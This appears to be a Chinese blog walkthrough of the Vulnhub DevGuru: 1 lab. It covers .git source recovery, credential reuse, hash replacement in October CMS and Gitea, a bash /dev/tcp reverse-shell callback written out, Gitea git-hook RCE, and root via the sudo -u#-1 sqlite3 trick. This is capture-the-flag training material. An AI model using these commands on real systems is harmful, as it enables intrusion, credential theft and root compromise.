Vulnhub 靶场 DevGuru: 1

前期准备

靶机地址:https://www.vulnhub.com/entry/devguru-1,620/

kali攻击机IP:192.168.11.128
靶机IP:192.168.11.130

一、信息收集

1.使用nmap对目标靶机进行扫描

image

开了 22、80、8585 端口。发现 git 目录,且提示做解析:

192.168.11.130 devguru.local

2. 80 端口

image

发现用的是 October CMS。先扫一下目录:

image

发现 October CMS 的后台页面:/backend/backend/auth/signin

image

没有用户名密码,尝试简单爆破一下也没爆破出来,可能在 /.git/ 目录中有线索。使用 GitHack 把 git 目录下载下来,重建还原源代码,看看有什么信息:

image

image

访问一下上面的这些页面和查看配置文件等:

adminer.php:

image

是个数据库的登陆界面。查一下下载的目录下有没有用户名和密码,在 /config/database.php 文件中找到了,也可以用 grep 找下:

image

username:october
password:SQ66EBYx4GT3byXH
database:octoberdb

登录 adminer.php 页面:

image

image

打开 user 表,发现有条用户数据:

image

用户名:frank
密码:$2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK

分析一下是什么类型的哈希。找了很久只找到这个网站能分析出大部分的哈希加密算法。

image

用的是 bcrypt 算法。尝试用同种类型的自己生成一个密码替换掉,就能登录到 October 的后台页面了。使用 bcrypt 加密算法(网上搜bcrypt在线加密就有不少)生成一个密码:

image

点击 edit 替换掉原有的 hash 值并保存:

image

image

使用替换的密码登录后台页面:http://devguru.local/backend/backend/auth/signin

用户名:frank
密码:password1

image

image

看了一下,发现这里可以上传文件和新建、修改 htm 页面,先试了下上传文件:

image

尝试了几次,都上传不了 shell 文件,那就从 htm 页面下手看看。看了一下 October CMS 的官方文档

image

image

发现他可以写入 PHP。尝试写入反弹 shell 并 nc 监听:

image

image

function onStart() 
{ 
    echo exec('bash -c "bash -i >& /dev/tcp/192.168.11.128/1234 0>&1"');
}

访问写入 shell 的页面:

image

升级一下 shell,并查看一下文件。

查看 SUID 权限:

image

没什么好用的,上传 linpeas.sh 文件跑一下发现没有好利用的。想起还有个 8585 端口。

3. 8585 端口

image

发现是 Gitea Version: 1.12.5。查一下有没有漏洞:

image

发现有个 RCE 漏洞,不过需要先认证。在刚才连接的 shell 中找下 Gitea 的用户名密码:

image

/var 下有个备份目录,发现里面有 app.ini.bak 。app.ini 是 gitea 的配置文件,安装过 gitea 的应该比较熟悉,里面是配置库路径和数据库连接等信息:

image

在 app.ini.bak 中发现 gitea 数据库的用户名和密码:

user:gitea
passwd:UfFPTF8C8jjxVF2m

在之前的数据库页面中登录:

image

和之前不同的是,这里使用的是 pbkdf2 加密,不过看 gitea 配置文件中也是支持 bcrypt 算法的 更改下 gitea 数据库中 user 表中 frank 用户的密码:

image

image

登录 gitea:

image

利用 Gitea Version: 1.12.5 的 RCE 漏洞,可参考 https://github.com/p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce。 中的示例,当然也可以直接跑这个脚本:

1、要有一个存储库
2、进入Settings -> Git Hooks -> Post Receive Hook
3、写一个 shell 脚本

image

保存后,提交一个更改后的文件,我这里是修改了一下 README.md 文件。并 nc 监听。修改并提交的这个操作相当于:

$ git clone http://devguru.local:8585/tiago/Test.git
$ cd Test
$ touch test.txt
$ git add .
$ git commit -am "Primeiro commmit"
$ git push origin master

直接在页面上修改提交方便些:

image

随便修改下并保存:

image

监听成功,升级一下 shell

二、提权

image

得到 frank 用户权限。查看 SUID 权限和 sudoers:

image

image

发现可以以 root 身份运行 sqlite3,不过要求输入密码。看下 sudo 的版本:

image

发现这个版本有漏洞:

image

Example: sudo -u#-1 /bin/bash

上面这个例子其实就是使用其他用户权限来执行命令。由于指定用户为 UID=-1。 -1 被解析为无符号整数,所以也就等同于 root 用户(UID=0)

结合 sqlite3 的命令

image

得到:sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'

'sudo -u#-1' :指定一个负数UID,利用漏洞将其解析为 UID=0(root权限)。
'sqlite3 /dev/null':使用 sqlite3 打开一个虚拟数据库(在 /dev/null 中)。
'.shell /bin/bash:利用 SQLite 的 .shell 功能,启动一个 bash,从而得到 root 权限。

image

得到 root 权限和 flag。

posted @ 2024-12-17 11:37  sainet  阅读(418)  评论(0)    收藏  举报